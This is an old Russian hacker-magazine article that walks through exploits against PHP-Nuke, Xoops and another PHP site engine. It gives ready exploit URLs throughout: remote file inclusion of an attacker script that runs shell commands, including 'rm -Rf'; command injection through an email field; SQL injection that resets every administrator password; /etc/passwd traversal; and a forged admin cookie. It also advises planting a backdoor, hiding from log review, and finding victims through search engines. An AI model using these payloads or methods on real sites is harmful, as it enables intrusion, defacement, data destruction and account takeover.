Что бы [VAMPIRE] ни говорил о плюсах PHP, по крайней мере один серьезный недостаток у него точно есть: тема взлома php-скриптов как-то слабо освещена в рунете. Все только говорят, что это очень дырявая штука, приводя тупые доводы, типа "если не проверяются переменные, вебсервер под рутом, да версия дырявая..." А между тем на php уже перешло очень много сайтов, и многие используют не оригинальные скрипты, а стандартные решения, в которых частенько проскакивают уязвимости. О них-то, собственно говоря, и пойдет речь.

Это один из популярнейших сайтовых движков с кучей возможностей: от постинга статей и новостей с возможностью их обсуждения читателями (как на xakep.ru) до автоматизации показа баннеров. О мощи продукта можно судить и по объему дитрибутива: архив с последней версией движка весит... весит... 1.21mb! А ведь там просто скрипты, текстовые файлы...

Впрочем, где много кода, там много багов. С момента появления php-nuke в нем было найдено столько дырок, что любой дуршлаг обзавидуется ;). И уязвимости все - как на подбор: тут тебе и DoS, и выполнение команд, и игры с sql-запросами, и получение прав администратора, и выполнение любого php-кода...

PHP-nuke
PHP-nuke написал некто Франциско Бурзи (Francisco Burzi) для новостного проекта Linux Preview (http://www.linuxpreview.org). В далеком 1998 году, когда только появился проект, он работал на perl-овых скриптах, написанных этим же парнем. Но по мере роста сайта стало очевидно, что скрипты не удовлетворяют потребностям, нужно что-то новое, более удобное, быстрое и функциональное. Поскольку Франциско, как сам утверждает, Perl знал паршиво, он взял готовый движок Thatware, подучил PHP и наколбасил за 380 часов PHP-nuke, версию первую, и безумно дырявую. Так 17 августа 2000 года появился на свет рекордсмен по популярности, дырявости и функциональности, великий и ужасный PHP-nuke.

За два года существования движка вышло огромное множество версий, проект, надо отдать должное, отлично поддерживается, и, пожалуй, Франциско здорово пишет на PHP :). Нет, правда, несмотря на КУЧУ дыр, наколбасить ТАКОЙ проект за 380 часов - это круто ;).

URL проекта: http://www.phpnuke.org
Уязвимые версии: почти все ;)
Диагноз: выполнение любого php-кода
Xploit: http://victim/index.php?file=http://bad.script.php
Описалово: Ну что же, дырочка под наш размерчик ;).

Автор движка пишет:
Значения переменной $file проверяются очень скудно - на наличие "..". "/" в начале строки. Не подумал кодер, что в $file может и должен в нашем случае лежать URL на выполняемый PHP-скрипт. Однако не все так просто. Например, когда я тестировал баг на winNT+Apache+php3, тот не заработал - "Failed opening...", понимаешь ли.

Все дело оказалось в настройках php - функция "Url fopen wrapper" у меня была отключена (когда я конфигурировал php, по инерции отрубил все ненужные мне опции). На большинстве серверов функция включена, так что, скорее всего, проблем у тебя не будет. Но даже в моем случае я с легкостью шарился по диску - $file=c:winntwin.ini. Естественно, если машина под *nix, такое не пройдет - "/" вырезается из начала строки $file. Теперь о деструктивном скрипте, о том, что туда записать. Вопрос философский, но пару наработок я все же дам:

$a=fopen("$index.php", w);
fputs("$a, "http://coolsite.url/hack.jpg>
From Siberia with love.
Regardz2: X-crew, Bill Gates and Monica Levintsky'", $a);
?>

Простенько и со вкусом, хотя можно пойти дальше:

$a=system($command);
echo "$a";
?>

Этот код, как ты понимаешь, выполнит на сервере команду из переменной $command.
Например, вот так:

http://victim/index.php?file=http://hacker/hack.php?command=rm%20-Rf

В PHP есть два оператора - require и include, которые считывают и выполняют код из указанного файла. Благодаря этому можно создать многократно используемые функции и константы в отдельном файле и вызывать их в остальных сценариях. (Часто для удобства конфигурации сценария все его настройки хранятся в небольшом скрипте, где их может легко редактировать не знающий языка человек, не боясь повредить основной код. Или, скажем, очень удобно включать куски html'я, чтобы многократно не выписывать одни и те же элементы.)

Функции, как видишь, полезны и для кодеров, и для хакеров ;). В чем разница между include(); и require();? Она незаметна, но принципиальна: require(); просто заменяется во время интерпретации кодом из указанного файла, а include(); вычисляет и выполняет код во внешнем файле при каждом обнаружении оператора include. Это позволяет использовать функцию в циклах, что было бы невозможным с require. И еще. При выполнении эти функции возвращают значения - если возникла проблема, то false, если все ОК, то true. Разница в том, что при возникновении трабла с require сценарий будет остановлен, в случае, если используется include, его выполнение продолжится. Таким образом, require, в общем-то, эквивалентен коду:

If(!include(file.php))
{ exit; } else { ... }
?>

Вообще, функция system выполняет любую команду на сервере, возвращая результат ее выполнения. На ней, кстати говоря, много багов основано. Например, для отправки почты часто используется вот такой код:

System("mail $email < text.of.letter.txt");

Однако, если $email имеет вид "--blahundragogo; rm-Rf; lohundra", то опять произойдет удаление всех файлов и подкаталогов относительно этой директории.
Смотри сам:

System("mail -blahundragogo; rm-Rf; lohundra < text.of.letter.txt");

Тут команда состоит из трех частей:

1) mail -blahundra - недопустимый флаг к функции mail, игнорируется;
2) rm-Rf - деструктивная функция;
3) lohundra < text.of.letter.txt - тоже белиберда.

По моим сведениям, эта дырень появилась в багтраках относительно недавно, и на момент написания статьи никаких патчей выпущено не было, а на официальном сайте лежала дырявая версия. Кстати, чуть не забыл. Эта уязвимость позволяет пробэкдорить сервер! Т.е. просто создаешь где-нибудь далеко-далеко, в далекой директории файл lala.php, в который пишешь, например, вот это:

require($file);
?>

Все ;). Теперь, когда перец пропатчит бажный движок, у тебя будет бэкдор, по которому ты сможешь еще разок ломануть сайт;) Правда, недолго он будет работать - если перец не дебил, то, после второго дефейса, он посмотрит логи вебсервера и мигом тебя запалит ;(((. Но всегда остается шанс, что у него либо нет доступа к логам (напишет админам, пришлют ему логи ;(), либо нет мозгов.

Уязвимые версии: 5.*
Диагноз: возможность выполнения почти любого sql-запроса
Xploit: http://victim/article.php?mainfile=1&sid=1&tid=1&prefix=sql_query
Поиск жертв: файл pollBooth.php или, например, auth.inc.php

Описалово: В ранних версиях движка использовались статичные имена таблиц (типа messages, authors). Понятно, что их наличие в базе данных весьма вероятно, и чтобы избежать недоразумений, к именам теперь прибавляется префикс из переменной $prefix, определяемой в конфигурационном скрипте config.php. SQL-запрос к базе данных в этом случае выглядит примерно так:

mysql_query("UPDATE $prefix"._stories." SET
counter=counter+1 where sid=$sid")

Автор полагает, что $prefix жестко определена в теле скрипта. Наивный ;).

Как видишь, тут происходит вызов mainfile.php, который, в свою очередь, вызывает конфигурационных файл. Этого-то нам как раз не надо, нам нужно, чтобы $prefix была свободна, и мы могли туда засунуть свой собственный запрос. Делается это просто - определяются переменные $mainfile, $tid, $sid, а в $prefix кладется запрос (функция isset(); используется для выяснения немаловажного факта - определена ли какая-либо переменная, т.е., например, заполнил ли пользователь какое-то поле). Что сунуть в $prefix? Ну, например, вот это: authors set pwd='coolpass'; update nuke.
Таким образом, выполняемый запрос будет следующим:

UPDATE authors set pwd='coolpass'; update nuke_stories SET counter=counter+1 where sid=$sid"), что поменяет пароли всех администраторов на "coolpass".

Уязвимые версии: *.*
Диагноз: выполнение кода на стороне клиента
Xploit: Http://www.hackerdrom.f2s.com/hack.php #сюда я закачаю файл, заодно #посчитаю, сколько народу им заинтересовалось ;)
Поиск жертв: файл pollBooth.php, или, например, auth.inc.php

Описалово:
CSS - Cross Site Scripting. Это целый класс уязвимостей в досках объявлений, форумах, html-чатах и т.п. Уязвимые скрипты позволяют выполнить JavaScript код (любой код, встраиваемый в HTML) на машине клиента - чудака, читающего мессагу в форуме, например. Что это дает? По существу - ничего. Хотя, конечно, всегда остается шанс поприкалываться, накрутить баннерных показов, повесить кому-нибудь машину, попортить реестры, форматнуть пару-тройку HDD ;). Все зависит от твоей фантазии и количества доков по javascript. Работают все дыры одинаково: кое-кто кое-что должным образом не проверил, поэтому я ограничусь тем, что приведу пути эксплоитинга. Их ты найдешь в текстовом файле, слить который можно по вышеприведенному url'у. В разных версиях php-nuke разные дыры, но я собрал в файл абсолютно все пути эксплоита - для всех существующих версий ;).

(Кстати, я сейчас готовлю материал про две часто используемые технологии взлома скриптов: CSS и SQL-injection, в котором расскажу, как сделать все вышеописанное.) ;)

Это тоже site engine, но, как мне показалось, значительно послабее. И функционально, и в области security - более тупых дыр я, пожалуй, не встречал. Программисты славно потрудились над созданием опаснейших уязвимостей - позволили читать файлы и администрировать сайт абсолютно всем ридерам Х :).

Читаем файл
Уязвимые версии: 0.4.02 (последняя)
Диагноз: чтение файлов на сервере
Xploit: http://victim/index.php?l=../../../etc/passwd
Поиск жертв: файл /lang/Englign/config

Описалово: Мда... дырочка стара как мир, а вот программист про нее почему-то не подумал. Ну что же, получай ;).

Читаем любой файл, доступный данному пользователю. Например, можно прочитать конфигурационный скрипт и выудить оттуда пароль к БД, который может совпасть с паролем на FTP-сервер с сайтом, и так далее. Представь себе, что проверка переменной $l на ".." ВООБЩЕ отсутствует. Это меня очень огорчило - ну не умеешь писать, не пиши. Нет же, лезут, да еще и выставляют свои творения на всеобщее обозрение - непонятно, зачем?

Админим ;)
Уязвимые версии: 0.4.02 (последняя)
Диагноз: получение прав администратора
Xploit: cookie access=ok

Описалово: Честно говоря, когда я вычитал про этот баг, я ржал минут пять, после чего опять взгрустнул. Это сколько же и чего надо выпить, чтобы идентифицировать администратора по cookie "access" с значением "ok" :)? Нет, если бы это был приватный, оригинальный скрипт - куда ни шло, ведь узнать о баге можно только посмотрев его код, снаружи не докопаешься. Но ведь сорсы проекта выложены на сайте, поэтому найти эту тупость - пятиминутное дело. Смотри сам:

Тут, правда, встает "проблема" с подделкой cookie - ведь если ты повесишь плюшку на другом сервере, не на том, куда ломишься, то ничего не выйдет - кукисы доступны только тем хостам, откуда они были повешены. Но это только по идее - cookies подделываются, притом элементарно - ручным редактированием ;). Т.е. вешаешь себе плюшку с любого хоста, открываешь ее текстовым редактором и правишь там хост.

Xoops - очередной дырявый движок, достаточно, как мне показалось, функциональный, поэтому весьма распространенный ;). Дыр я в нем нашел не так уж и много - во-первых, продукт совсем молодой, а во-вторых, программисты думали о security при его написании, хотя, как видно, недолго.

Хакаем SQL
Уязвимые версии: Xoops RC1
Диагноз: выполнение SQL - запроса
Xploit: http://victim/userinfo.php?uid=77 drop *
Поиск жертв: файл userinfo.php

Описалово: В скрипте userinfo.php отсутствует проверка на спецсимволы в переменной $uid, которая используется в SQL-запросе, что позволяет вволю поиграть с sql-запросами, модифицируя или удаляя данные ;).

Весело? Поехали!
Если поставить в $uid "7545$", то PHP отрапортует об ошибке:
-отрезано-
...
MySQL Query Error: SELECT u.*, s.* FROM x_users u, x_users_status s WHERE
u.uid=7545$ AND u.uid=s.uid
Error number:1064
Error message: You have an error in your SQL syntax near '; AND u.uid=s.uid' at line 1
...
-отрезано-

Это здорово помогает - ты видишь, как устроен sql-запрос, что позволяет вволю оттянуться ;)! Ну, например... вот так вот:

$uid =2; update x_users password='coolpass'; select * x_from users where uid='1'

Теперь отправляемый SQL-запрос выглядит вот так:

SELECT u.*, s.* FROM x_users u, x_users_status s WHERE

u.uid=2; update x_users password='coolpass'; select * x_from users where uid='1'

AND u.uid=s.uid

Понятное дело, что вместо "update x_users..." может стоять ЛЮБОЙ sql-запрос, права на выполнение которого есть у текущего sql-ного юзера.

Этот абзац посвящен тем, кто НЕ ЗНАЕТ, как искать уязвимые сайты. Если ты не из их числа - пропускай эти строки, ничего не потеряешь. Итак... Начнем с азов... Что такое скрипт? Помимо выполняемой на стороне сервера программы, это просто файл. И как всякий файл, работающий в сайте, на него ведут гиперссылки с других страниц.

Теперь давай вспомним, как работают поисковые системы. Человек регистрирует сайт, его URL заносится в базу данных, откуда умная программа-бот выбирает адреса и идет по ним, сканируя структуру сайтов. Сканирует она ее, прежде всего, расхаживая по ссылкам, начиная с начальной страницы. Таким образом, весь текст на САЙТЕ - совокупности страниц, объединенных гиперссылками, - заносится в базу данных поискового сервера, откуда делается выборка в процессе поиска введенного пользователем текста.

В базу данных заносится как тест на странице, так и название файла - это как раз то, что нам нужно. Теперь, если, например, у человека на сайте есть файл mainfile.php, и на него стоит гиперссылка, то он автоматом попадает в БД при индексации сайта.
Таким образом, для поиска жертвы достаточно набрать в поисковике имя уязвимого скрипта. Еще часто используют специальные сканеры, которые, подобно боту поисковой системы, проверяют заданные URL'ы на наличие либо конкретного скрипта, либо группы скриптов. Понятно, что подобное сканирование с диалапа или при платном трафике - безмазовое занятие, так что лучше доверься альтависте ;). Вообще, этими сканерами пользуются, когда работают над конкретным сайтом - берется лист с пятью тысячами дырявых скриптов, и за ночь он прокручивается - в этом раскладе такое сканирование оправдано.

P.S.
Я рассказал тебе о трех бажных site engine'ах. Показал на их примере самые типичные для php уязвимости - возьми любой дырявый php-скрипт из багтрака, там, скорее всего, будут точно такие же дыры. Надеюсь, ты не воспримешь статью, как руководство по скрипткиддингу, а поймешь, что взламывать PHP ничуть не менее интересно, чем perl ;).

P.P.S. Все баги тестировались на локальном вебсервере Apache под winNT с прикрученным PHP третьей версии.